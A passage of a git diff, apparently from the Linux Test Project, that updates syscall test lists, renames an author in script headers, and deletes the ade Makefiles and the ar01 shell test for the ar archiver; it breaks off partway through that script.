-abort01 ulimit -c 1024;abort01
+abort01 abort01
 
 accept01 accept01
 
@@ -7,8 +7,6 @@
 access02 access02
 access03 access03
 access04 access04
-access05 access05
-access06 access06
 
 acct01 acct01
 
@@ -311,7 +309,7 @@
 kill08 kill08
 kill09 kill09
 kill10 kill10
-kill11 ulimit -c 1024;kill11
+kill11 kill11
 kill12 kill12
 
 lchown01 lchown01
@@ -343,6 +341,7 @@
 lseek08 lseek08
 lseek09 lseek09
 lseek10 lseek10
+lseek11 lseek11
 
 lstat01A symlink01 -T lstat01
 lstat01 lstat01
@@ -420,7 +419,6 @@
 msgget01 msgget01
 msgget02 msgget02
 msgget03 msgget03
-msgget04 msgget04
 
 msgrcv01 msgrcv01
 msgrcv02 msgrcv02
@@ -432,8 +430,6 @@
 
 msgsnd01 msgsnd01
 msgsnd02 msgsnd02
-msgsnd03 msgsnd03
-msgsnd04 msgsnd04
 msgsnd05 msgsnd05
 msgsnd06 msgsnd06
 
@@ -462,7 +458,6 @@
 nice02 nice02
 nice03 nice03
 nice04 nice04
-nice05 nice05
 
 open01 open01
 open01A symlink01 -T open01
@@ -680,9 +675,6 @@
 
 setpriority01 setpriority01
 setpriority02 setpriority02
-setpriority03 setpriority03
-setpriority04 setpriority04
-setpriority05 setpriority05
 
 setregid01 setregid01
 setregid02 setregid02
@@ -850,8 +842,6 @@
 # ulimit01 ulimit01
 
 umask01 umask01
-umask02 umask02
-umask03 umask03
 
 uname01 uname01
 uname02 uname02
@@ -905,10 +895,9 @@
 
 writev01 writev01
 writev02 writev02
-writev03 writev03
-writev04 writev04
 writev05 writev05
 writev06 writev06
+writev07 writev07
 
 pty01 pty01
 hangup01 hangup01
diff --git a/runtest/syscalls b/runtest/syscalls
index ed63358..5909456 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -8,8 +8,6 @@
 access02 access02
 access03 access03
 access04 access04
-access05 access05
-access06 access06
 
 acct01 acct01
 
@@ -273,6 +271,10 @@
 fdatasync01 fdatasync01
 fdatasync02 fdatasync02
 
+flistxattr01 flistxattr01
+flistxattr02 flistxattr02
+flistxattr03 flistxattr03
+
 flock01 flock01
 flock02 flock02
 flock03 flock03
@@ -326,7 +328,7 @@
 ftruncate03 ftruncate03
 ftruncate03_64 ftruncate03_64
 ftruncate04 ftruncate04
-ftruncate04_64 ftruncate04
+ftruncate04_64 ftruncate04_64
 
 #futimesat test cases
 futimesat01 futimesat01
@@ -442,6 +444,7 @@
 getxattr01 getxattr01
 getxattr02 getxattr02
 getxattr03 getxattr03
+getxattr04 getxattr04
 
 #Needs tty device.
 #ioctl01 ioctl01 -D /dev/tty0
@@ -450,6 +453,9 @@
 # Introducing ioctl tests for all /dev/tty* devices
 ioctl01_02   test_ioctl
 ioctl03      ioctl03
+ioctl04      ioctl04
+ioctl05      ioctl05
+ioctl06      ioctl06
 
 inotify_init1_01 inotify_init1_01
 inotify_init1_02 inotify_init1_02
@@ -481,9 +487,12 @@
 io_submit01 io_submit01
 
 keyctl01 keyctl01
+keyctl02 keyctl02
+keyctl03 keyctl03
 
 kcmp01 kcmp01
 kcmp02 kcmp02
+kcmp03 kcmp03
 
 kill01 kill01
 kill02 kill02
@@ -505,6 +514,9 @@
 lchown02_16 lchown02_16
 lchown03_16 lchown03_16
 
+lgetxattr01 lgetxattr01
+lgetxattr02 lgetxattr02
+
 link01 symlink01 -T link01
 link02 link02
 link03 link03
@@ -520,6 +532,10 @@
 
 listen01 listen01
 
+listxattr01 listxattr01
+listxattr02 listxattr02
+listxattr03 listxattr03
+
 llistxattr01 llistxattr01
 llistxattr02 llistxattr02
 llistxattr03 llistxattr03
@@ -538,6 +554,7 @@
 lseek08 lseek08
 lseek09 lseek09
 lseek10 lseek10
+lseek11 lseek11
 
 lstat01A symlink01 -T lstat01
 lstat01A_64 symlink01 -T lstat01_64
@@ -635,6 +652,7 @@
 move_pages09 move_pages.sh 09
 move_pages10 move_pages.sh 10
 move_pages11 cd $LTPROOT/testcases/bin && chown root move_pages11 && chmod 04755 move_pages11 && move_pages.sh 11
+move_pages12 move_pages12
 
 mprotect01 mprotect01
 mprotect02 mprotect02
@@ -671,7 +689,6 @@
 msgget01 msgget01
 msgget02 msgget02
 msgget03 msgget03
-msgget04 msgget04
 
 msgrcv01 msgrcv01
 msgrcv02 msgrcv02
@@ -684,8 +701,6 @@
 
 msgsnd01 msgsnd01
 msgsnd02 msgsnd02
-msgsnd03 msgsnd03
-msgsnd04 msgsnd04
 msgsnd05 msgsnd05
 msgsnd06 msgsnd06
 
@@ -715,7 +730,6 @@
 nice02 nice02
 nice03 nice03
 nice04 nice04
-nice05 nice05
 
 open01 open01
 open01A symlink01 -T open01
@@ -745,6 +759,9 @@
 madvise02 madvise02
 madvise05 madvise05
 madvise06 madvise06
+madvise07 madvise07
+madvise08 madvise08
+madvise09 madvise09
 
 newuname01 newuname01
 
@@ -801,11 +818,14 @@
 process_vm_writev02 process_vm_writev02
 
 prot_hsymlinks prot_hsymlinks
+dirtyc0w dirtyc0w
 
 pselect01 pselect01
 pselect01_64 pselect01_64
 pselect02 pselect02
 pselect02_64 pselect02_64
+pselect03 pselect03
+pselect03_64 pselect03_64
 
 ptrace01 ptrace01
 ptrace02 ptrace02
@@ -830,6 +850,7 @@
 
 quotactl01 quotactl01
 quotactl02 quotactl02
+quotactl03 quotactl03
 
 read01 read01
 read02 read02
@@ -866,6 +887,7 @@
 
 recvmsg01 recvmsg01
 recvmsg02 recvmsg02
+recvmsg03 recvmsg03
 
 remap_file_pages01 remap_file_pages01
 remap_file_pages02 remap_file_pages02
@@ -942,6 +964,7 @@
 
 sched_setscheduler01 sched_setscheduler01
 sched_setscheduler02 sched_setscheduler02
+sched_setscheduler03 sched_setscheduler03
 
 sched_yield01 sched_yield01
 
@@ -1001,6 +1024,7 @@
 sendmsg02 sendmsg02
 
 sendto01 sendto01
+sendto02 sendto02
 
 setdomainname01	setdomainname01
 setdomainname02	setdomainname02
@@ -1063,9 +1087,6 @@
 
 setpriority01 setpriority01
 setpriority02 setpriority02
-setpriority03 setpriority03
-setpriority04 setpriority04
-setpriority05 setpriority05
 
 setregid01 setregid01
 setregid01_16 setregid01_16
@@ -1189,7 +1210,6 @@
 
 socket01 socket01
 socket02 socket02
-socket03 socket03
 
 socketcall01 socketcall01
 socketcall02 socketcall02
@@ -1202,7 +1222,7 @@
 sockioctl01 sockioctl01
 
 splice01 splice01
-splice02 seq 1 10000000 | splice02 splice02-temp
+splice02 seq 1 20000 | splice02 splice02-temp
 splice03 splice03
 
 tee01 tee01
@@ -1330,8 +1350,6 @@
 ulimit01 ulimit01
 
 umask01 umask01
-umask02 umask02
-umask03 umask03
 
 uname01 uname01
 uname02 uname02
@@ -1419,10 +1437,9 @@
 
 writev01 writev01
 writev02 writev02
-writev03 writev03
-writev04 writev04
 writev05 writev05
 writev06 writev06
+writev07 writev07
 
 perf_event_open01 perf_event_open01
 perf_event_open02 perf_event_open02
@@ -1438,3 +1455,6 @@
 futex_wake04 futex_wake04
 futex_wait_bitset01 futex_wait_bitset01
 futex_wait_bitset02 futex_wait_bitset02
+
+memfd_create01 memfd_create01
+memfd_create02 memfd_create02
diff --git a/runtest/syscalls-ipc b/runtest/syscalls-ipc
index 5592a00..91060b9 100644
--- a/runtest/syscalls-ipc
+++ b/runtest/syscalls-ipc
@@ -15,7 +15,6 @@
 msgget01 msgget01
 msgget02 msgget02
 msgget03 msgget03
-msgget04 msgget04
 
 msgrcv01 msgrcv01
 msgrcv02 msgrcv02
@@ -28,8 +27,6 @@
 
 msgsnd01 msgsnd01
 msgsnd02 msgsnd02
-msgsnd03 msgsnd03
-msgsnd04 msgsnd04
 msgsnd05 msgsnd05
 msgsnd06 msgsnd06
 
diff --git a/scenario_groups/Makefile b/scenario_groups/Makefile
index 66fdc80..2978675 100644
--- a/scenario_groups/Makefile
+++ b/scenario_groups/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, November 2010
+# Ngie Cooper, November 2010
 #
 
 top_srcdir		?= ..
diff --git a/scripts/abspath.sh b/scripts/abspath.sh
index a7f0cf6..f086248 100755
--- a/scripts/abspath.sh
+++ b/scripts/abspath.sh
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, January 2010
+# Ngie Cooper, January 2010
 #
 
 . "${0%/*}/lib/file_functions.sh"
diff --git a/scripts/detect_distro.sh b/scripts/detect_distro.sh
index db2f6f6..df9d927 100755
--- a/scripts/detect_distro.sh
+++ b/scripts/detect_distro.sh
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, January 2010
+# Ngie Cooper, January 2010
 #
 #
 
diff --git a/scripts/lib/file_functions.sh b/scripts/lib/file_functions.sh
index fe15bd1..32c4331 100644
--- a/scripts/lib/file_functions.sh
+++ b/scripts/lib/file_functions.sh
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, January 2010
+# Ngie Cooper, January 2010
 #
 # POSIX compliant bourne shell functions for performing make 3.81
 # compliancy in 3.80 with a minimal set of external commands
diff --git a/scripts/realpath.sh b/scripts/realpath.sh
index a43a6af..d05088e 100755
--- a/scripts/realpath.sh
+++ b/scripts/realpath.sh
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, January 2010
+# Ngie Cooper, January 2010
 #
 
 . "${0%/*}/lib/file_functions.sh"
diff --git a/scripts/safe_rm.sh b/scripts/safe_rm.sh
index 56a9b80..68e9614 100755
--- a/scripts/safe_rm.sh
+++ b/scripts/safe_rm.sh
@@ -23,7 +23,7 @@
 # been added to the build tests that should be run before each release to avoid
 # build regressions).
 #
-# Garrett Cooper, February 2010
+# Ngie Cooper, February 2010
 #
 
 . "${0%/*}/lib/file_functions.sh"
diff --git a/scripts/tests/test_abspath.sh b/scripts/tests/test_abspath.sh
index 51c73ea..8861cc5 100755
--- a/scripts/tests/test_abspath.sh
+++ b/scripts/tests/test_abspath.sh
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, January 2010
+# Ngie Cooper, January 2010
 #
 
 SCRIPTS_DIR="$(readlink -f ${0%/*}/..)"
diff --git a/scripts/tests/test_safe_rm.sh b/scripts/tests/test_safe_rm.sh
index 572c652..92bf534 100755
--- a/scripts/tests/test_safe_rm.sh
+++ b/scripts/tests/test_safe_rm.sh
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, February 2010
+# Ngie Cooper, February 2010
 #
 
 export SIMULATE_RM=1
diff --git a/testcases/Makefile b/testcases/Makefile
index 61993fe..b04e630 100644
--- a/testcases/Makefile
+++ b/testcases/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ..
diff --git a/testcases/commands/.gitignore b/testcases/commands/.gitignore
index 485a3ec..9aa1caf 100644
--- a/testcases/commands/.gitignore
+++ b/testcases/commands/.gitignore
@@ -1,7 +1,5 @@
-/ade/ldd/datafiles/lddfile.out
-/ade/ldd/datafiles/*.obj.so
-/ade/objdump/test_arch_debug
-/ade/objdump/test_arch_stripped
-/ade/size/test
+/ldd/datafiles/lddfile.out
+/ldd/datafiles/*.obj.so
 /cron/cron_dirs_check
-/eject/check_tray
+/eject/eject_check_tray
+/insmod/ltp_insmod01.ko
diff --git a/testcases/commands/Makefile b/testcases/commands/Makefile
index 9da27c3..fba3a52 100644
--- a/testcases/commands/Makefile
+++ b/testcases/commands/Makefile
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../..
diff --git a/testcases/commands/ade/Makefile b/testcases/commands/ade/Makefile
deleted file mode 100644
index 115a93a..0000000
--- a/testcases/commands/ade/Makefile
+++ /dev/null
@@ -1,26 +0,0 @@
-#
-#    commands/ade test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Garrett Cooper, July 2009
-#
-
-top_srcdir		?= ../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/commands/ade/ar/Makefile b/testcases/commands/ade/ar/Makefile
deleted file mode 100644
index c9c189b..0000000
--- a/testcases/commands/ade/ar/Makefile
+++ /dev/null
@@ -1,29 +0,0 @@
-#
-#    commands/ade/ar testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Garrett Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= ar01 *.in
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/ade/ar/ar01 b/testcases/commands/ade/ar/ar01
deleted file mode 100755
index ad88582..0000000
--- a/testcases/commands/ade/ar/ar01
+++ /dev/null
@@ -1,737 +0,0 @@
-#!/bin/sh
-#
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : ar
-#
-#  PURPOSE: Construct one or more command lines which use options that do not
-#           take arguments
-#           For each of these invocations
-#           Specify the options seperately
-#
-#          Group the options together
-#          Compare the behavior of the two cases
-#          If they behave differently, then fail
-#          If none of the cases fail, then pass
-#
-#  HISTORY:
-#    06/01 Robbie Williamson (robbiew@us.ibm.com)
-#      -Ported
-#
-#
-#-----------------------------------------------------------------------
-#
-#----------------------------------------------------------------------
-#Uncomment line below for debug output.
-#trace_logic=${trace_logic:-"set -x"}
-$trace_logic
-
-TCtmp=${TCtmp:-/tmp/ar01-$$}
-mkdir $TCtmp
-TCdat=${TCdat:-`pwd`}
-cd $TCdat
-
-LOOPS=${LOOPS:-1}
-LIST="file1.in file2.in file3.in file4.in file5.in file6.in file7.in file8.in file9.in file10.in"
-LIST="$LIST $LIST $LIST $LIST $LIST $LIST $LIST $LIST $LIST $LIST"
-COUNT=1
-TCRESULT=0
-
-# Setup function
-setup() {
-	for i in $LIST;do
-		touch $i
-	done
-}
-
-# Cleanup function
-cleanup() {
-	if [ $TCRESULT = 0 ]; then
-		echo "---------------ar command passed the system test-----------------"
-		exit 0
-	else
-		echo "---------------ar command failed the system test-----------------"
-		exit 1
-	fi
-}
-
-crtest() {
-	if [ $? -ne 0 ]
-	then
-		TCRESULT=1
-		echo "FAIL - could not create lib.a"
-		cleanup
-	fi
-}
-
-ttest() {
-	if [ $? -ne 0 ]
-	then
-		TCRESULT=1
-		echo "FAIL - could not output table from lib.a to lib.a.stdout"
-		cleanup
-	fi
-}
-
-rtest() {
-	if [ $? -ne 0 ]
-	then
-		TCRESULT=1
-		echo "FAIL - could not add file into lib.a"
-		cleanup
-	fi
-}
-
-mtest() {
-	if [ $? -ne 0 ]
-	then
-		TCRESULT=1
-		echo "FAIL - could not move file into lib.a"
-		cleanup
-	fi
-}
-
-setup
-
-# Main Loop
-while [ $COUNT -le $LOOPS ]
-do
-	echo "-------System test for ar command, Loop $COUNT----"
-	#The 'a' flag causes files to be placed after 'posname'.
-
-	#  CODE
-	rm -rf $TCtmp/lib.a;cd $TCdat
-
-	printf "file1.in\nfile2.in\nfile3.in\n" >$TCtmp/lib.a.exp
-
-	ar -cr $TCtmp/lib.a file1.in file3.in
-	crtest
-	ar -ra file1.in $TCtmp/lib.a file2.in
-	rtest
-	ar -t $TCtmp/lib.a > $TCtmp/lib.a.stdout
-	ttest
-
-	if diff -b $TCtmp/lib.a.exp $TCtmp/lib.a.stdout >/dev/null 2>&1
-	then
-		echo "-)1"
-	else
-		TCRESULT=1
-		echo "FAIL - ar with -a option does not place files after 'posname'"
-	fi
-
-	# The 'a' flag with the 'm' option causes files to be moved after 'posname'
-
-	rm -rf $TCtmp/lib.a
-	cd $TCdat
-
-	ar -cr $TCtmp/lib.a file1.in file2.in file3.in file4.in
-	crtest
-	printf "file1.in\nfile4.in\nfile2.in\nfile3.in\n" > $TCtmp/lib.a.exp
-	ar -ma file1.in $TCtmp/lib.a file4.in
-	mtest
-	ar -t $TCtmp/lib.a >$TCtmp/lib.a.stdout
-	ttest
-
-	if diff -b $TCtmp/lib.a.exp $TCtmp/lib.a.stdout 1> /dev/null 2> /dev/null
-	then
-		echo "-)2"
-	else
-		TCRESULT=2
-		echo "FAIL - ar with -a option does not move files after 'posname'"
-	fi
-
-	# The 'b' flag causes files to be placed before 'posname'.
-
-	# CODE
-
-	rm -rf $TCtmp/lib.a
-	cd $TCdat
-	ar -cr $TCtmp/lib.a file1.in file3.in
-	crtest
-	printf "file1.in\nfile2.in\nfile3.in\n" > $TCtmp/lib.a.exp
-	ar -rb file3.in $TCtmp/lib.a file2.in
-	rtest
-	ar -t $TCtmp/lib.a >$TCtmp/lib.a.stdout
-	ttest
-
-	if diff -b $TCtmp/lib.a.exp $TCtmp/lib.a.stdout >/dev/null 2>&1
-	then
-		echo "-)3"
-	else
-		TCRESULT=3
-		echo "FAIL - ar with -b option does not place files before 'posname'"
-	fi
-
-	# The 'b' flag with 'm' option causes files to be moved before 'posname'.
-
-	# CODE
-	rm -rf $TCtmp/lib.a
-	cd $TCdat
-
-	ar -cr $TCtmp/lib.a file1.in file3.in file2.in
-	crtest
-	printf "file1.in\nfile2.in\nfile3.in\n" > $TCtmp/lib.a.exp
-	ar -mb file3.in $TCtmp/lib.a file2.in
-	mtest
-	ar -t $TCtmp/lib.a >$TCtmp/lib.a.stdout
-	ttest
-
-	if diff -b $TCtmp/lib.a.exp $TCtmp/lib.a.stdout >/dev/null 2>&1
-	then
-		echo "-)4"
-	else
-		TCRESULT=4
-		echo "FAIL - ar with -b option does not move files before 'posname'."
-	fi
-
-	# -c option suppress the messages
-
-	# CODE
-
-	rm -rf $TCtmp/lib.a.exp $TCtmp/lib.a
-	cd $TCdat
-
-	touch $TCtmp/lib.a.exp
-
-	ar -cr $TCtmp/lib.a file1.in > $TCtmp/lib.a.stdout
-	crtest
-
-	if diff -b $TCtmp/lib.a.exp $TCtmp/lib.a.stdout
-	then
-		echo "-)5"
-	else
-		TCRESULT=5
-		echo "FAIL - ar with -c option did not suppress messages."
-	fi
-
-	# The 'qc' option causes suppresion of the default message when
-	# 'afile' is created.
-
-	# CODE
-	rm -rf $TCtmp/lib.a
-	cd $TCdat
-
-	ar -qc $TCtmp/lib.a file1.in > $TCtmp/lib.a.stdout
-
-	if diff -b $TCtmp/lib.a.exp $TCtmp/lib.a.stdout >/dev/null 2>&1
-	then
-		echo  "-)6"
-	else
-		TCRESULT=6
-		echo "FAIL - ar with -qc option did not suppress messages."
-	fi
-
-	# The -d option deletes files from archive when names are specified.
-
-	# CODE
-	rm -rf $TCtmp/lib.a
-	cd $TCdat
-
-	ar -cr $TCtmp/lib.a file1.in file2.in file3.in
-	crtest
-	echo "file3.in" > $TCtmp/lib.a.exp
-	ar -d $TCtmp/lib.a file1.in file2.in
-	ar -t $TCtmp/lib.a >$TCtmp/lib.a.stdout
-	ttest
-
-	if diff -b $TCtmp/lib.a.exp $TCtmp/lib.a.stdout >/dev/null 2>&1
-	then
-		echo  "-)7"
-	else
-		TCRESULT=7
-		echo "FAIL - ar with -d option does not delete files form the archive"
-	fi
-
-	# The -d option does not delete files from archive when no names
-	# are specified.
-
-	# CODE
-	rm -rf $TCtmp/lib.a
-	cd $TCdat
-
-	printf "file1.in\nfile2.in\nfile3.in\n" > $TCtmp/lib.a.exp
-	ar -cr $TCtmp/lib.a file1.in file2.in file3.in
-	crtest
-	ar -d $TCtmp/lib.a >/dev/null 2>&1
-	ar -t $TCtmp/lib.a >$TCtmp/lib.a.stdout
-	ttest
-
-	if diff -b $TCtmp/lib.a.exp $TCtmp/lib.a.stdout >/dev/null 2>&1
-	then
-		echo  "-)8"
-	else
-		TCRESULT=8
-		echo "FAIL - ar with -d option deleted files even when none were specified"
-	fi
-
-	# The -d does not affect behaviour of -s option.
-
-	# CODE
-	rm -rf $TCtmp/lib.a
-	cd $TCdat
-
-	touch $TCtmp/dummy.in
-	ar -cr $TCtmp/lib.a $TCtmp/dummy.in file1.in file2.in file3.in
-	crtest
-	size1=`ls -s $TCtmp/lib.a|(read a b; echo $a)`
-	ar -ds $TCtmp/lib.a $TCtmp/dummy.in 2>&1 1>/dev/null
-	size2=`ls -s $TCtmp/lib.a|(read a b; echo $a)`
-
-	if [ $size1 -eq $size2 ]
-	then
-		echo  "-)9"
-	else
-		TCRESULT=9
-		echo "FAIL - ar with -d option did affect the -s option"
-	fi
-
-	# The 'i' flag causes files to be placed before 'posname'.
-
-	# CODE
-	rm -rf $TCtmp/lib.a
-	cd $TCdat
-
-	printf "file1.in\nfile2.in\nfile3.in\n" > $TCtmp/lib.a.exp
-	ar -cr $TCtmp/lib.a file1.in file3.in
-	crtest
-	ar -ri file3.in $TCtmp/lib.a file2.in
-	rtest
-	ar -t $TCtmp/lib.a >$TCtmp/lib.a.stdout
-	ttest
-
-	if diff -b $TCtmp/lib.a.exp $TCtmp/lib.a.stdout >/dev/null 2>&1
-	then
-		echo  "-)10"
-	else
-		TCRESULT=10
-		echo "FAIL - ar with -i did not place the files before 'posname'."
-	fi
-
-	# The 'i' flag with 'm' option causes files to be moved before 'posname'.
-
-	# CODE
-	rm -rf $TCtmp/lib.a
-	cd $TCdat
-
-	ar -cr $TCtmp/lib.a file1.in file3.in file2.in
-	crtest
-	printf "file1.in\nfile2.in\nfile3.in\n" > $TCtmp/lib.a.exp
-	ar -mi file3.in $TCtmp/lib.a file2.in
-	mtest
-	ar -t $TCtmp/lib.a >$TCtmp/lib.a.stdout
-	ttest
-
-	if diff -b $TCtmp/lib.a.exp $TCtmp/lib.a.stdout >/dev/null 2>&1
-	then
-		echo "-)11"
-	else
-		TCRESULT=11
-		echo "FAIL - ar with -i failed to move files before 'posname'."
-	fi
-
-	# m option moves the files to end of the archive
-
-	# CODE
-
-	rm -rf $TCtmp/lib.a
-	cd $TCdat
-
-	ar -cr $TCtmp/lib.a file1.in file3.in file2.in
-	crtest
-	printf "file1.in\nfile2.in\nfile3.in\n" > $TCtmp/lib.a.exp
-	ar -m $TCtmp/lib.a file3.in
-	mtest
-	ar -t $TCtmp/lib.a >$TCtmp/lib.a.stdout
-	ttest
-
-	if diff -b $TCtmp/lib.a.exp $TCtmp/lib.a.stdout >/dev/null 2>&1
-	then
-		echo "-)12"
-	else
-		TCRESULT=12
-		echo "FAIL - ar with -m fails to move the files to the end of archive"
-	fi
-
-	# The -p option causes only printing of contents of file contained in
-	# archive.
-
-	# CODE
-	rm -rf $TCtmp/lib.*
-	ar -cr $TCtmp/lib.a file1.in file2.in file3.in
-	crtest
-	printf "This is file one\nThis is file two\nThis is file three\n" > $TCtmp/lib.a.exp
-	ar -p $TCtmp/lib.a 2>&1 1>$TCtmp/lib.a.stdout
-
-	if diff -b $TCtmp/lib.a.exp $TCtmp/lib.a.stdout >/dev/null 2>&1
-	then
-		echo "-)13"
-	else
-		TCRESULT=13
-		echo "FAIL - ar with -p option failed to print the contents."
-	fi
-
-	# The -p does not affect behaviour of -s option.
-
-	# CODE
-
-	rm -rf $TCtmp/lib.a;cd $TCdat
-	ar -cr $TCtmp/lib.a file1.in file2.in file3.in
-	crtest
-	size1=`ls -s $TCtmp/lib.a|(read a b; echo $a)`
-	ar -ps $TCtmp/lib.a 2>&1 1> /dev/null
-	size2=`ls -s $TCtmp/lib.a|(read a b; echo $a)`
-
-	if [ $size1 -eq $size2 ]
-	then
-		echo "-)14"
-	else
-		TCRESULT=14
-		echo "FAIL - ar with -p did the affect behaviour of -s option"
-	fi
-
-	# The command 'ar -q afile name' appends name to the end of 'afile'.
-
-	# CODE
-
-	rm -rf $TCtmp/lib.a
-	cd $TCdat
-	ar -cr $TCtmp/lib.a file1.in file2.in file3.in
-	crtest
-	printf "file1.in\nfile2.in\nfile3.in\nfile4.in\n" > $TCtmp/lib.a.exp
-	ar -q $TCtmp/lib.a file4.in
-	ar -t $TCtmp/lib.a >$TCtmp/lib.a.stdout
-	ttest
-
-	if diff -b $TCtmp/lib.a.exp $TCtmp/lib.a.stdout >/dev/null 2>&1
-	then
-		echo "-)15"
-	else
-		TCRESULT=15
-		echo "FAIL - ar with -q afilename failed to append to the end of file"
-	fi
-
-	# q option does not affect the behaviour of option s
-
-	# CODE
-
-	rm -rf $TCtmp/lib.a;cd $TCdat
-	ar -cr $TCtmp/lib.a file1.in file2.in file3.in
-	crtest
-	size1=`ls -s $TCtmp/lib.a|(read a b; echo $a)`
-	ar -qs $TCtmp/lib.a $TCtmp/dummy.in 2>&1 1>/dev/null
-	size2=`ls -s $TCtmp/lib.a|(read a b; echo $a)`
-
-	if [ $size1 -eq $size2 ]
-	then
-		echo "-)16"
-	else
-		TCRESULT=16
-		echo "FAIL - ar with -q did affect the behaviour of -s option."
-	fi
-
-	# The -s causes regeneration of symbol table even if a symbol table exists.
-
-	echo "-)17 SKIPPED due to binutils ar automatically adds a symbol."
-
-	# CODE
-
-	rm -rf $TCtmp/lib.a;cd $TCdat
-	ar -cr $TCtmp/lib.a file1.in file2.in file3.in
-	crtest
-	printf "file1.in\nfile2.in\nfile3.in\n" > $TCtmp/lib.a.exp
-	ar -t $TCtmp/lib.a >$TCtmp/lib.a.stdout 2>&1
-	ttest
-
-	if diff -b $TCtmp/lib.a.exp $TCtmp/lib.a.stdout >/dev/null 2>&1
-	then
-		echo "-)18"
-	else
-		TCRESULT=18
-		echo "FAIL - ar with -t did not print as desired"
-	fi
-
-	# The -t does not affect behaviour of -s option.
-
-	echo "-)19 SKIPPED due to binutils ar automatically adds a symbol."
-
-	# The 'u' flag causes files only with later modification date than
-	# in archive are replaced.
-
-	# CODE
-	rm -rf $TCtmp/lib.a
-	cd $TCdat
-
-	ar -cr $TCtmp/lib.a file0.in file2.in
-	crtest
-	File1time=`ar -tv $TCtmp/lib.a | grep file0.in`
-	File2time=`ar -tv $TCtmp/lib.a | grep file2.in`
-
-	#sleep 5
-	touch -c -t $(date --date='next day' +"%Y%m%d%H%M") file0.in
-
-	ar -ru $TCtmp/lib.a file0.in file2.in 2>&1 1>/dev/null
-	File1time1=`ar -tv $TCtmp/lib.a | grep file0.in`
-	File2time2=`ar -tv $TCtmp/lib.a | grep file2.in`
-
-	if [ "$File2time" = "$File2time2" ]
-	then
-		if [ "$File1time" = "$File1time1" ]
-		then
-			TCRESULT=20
-			echo "FAIL - ar with -u flag failed"
-		else
-			echo "-)20"
-		fi
-	else
-		TCRESULT=20
-		echo "FAIL - ar with -u flag failed"
-	fi
-	# Reset the timestamp on file0.in to current
-	touch file0.in
-
-	# This is the next assertion
-
-	# CODE
-
-	Count=0
-	rm -rf $TCtmp/lib.a;cd $TCdat
-	ar -cr $TCtmp/lib.a file1.in file2.in file3.in
-	crtest
-	Sysmonth=`date | cut -f2 -d" "`
-	Month=`ar -tv $TCtmp/lib.a | grep "file2.in" | awk '{print $4}'`
-	Count=`ar -tv $TCtmp/lib.a | wc -l`
-
-	if [ $Sysmonth = $Month ] && [ $Count -eq 3 ]
-	then
-		echo "-)21"
-	else
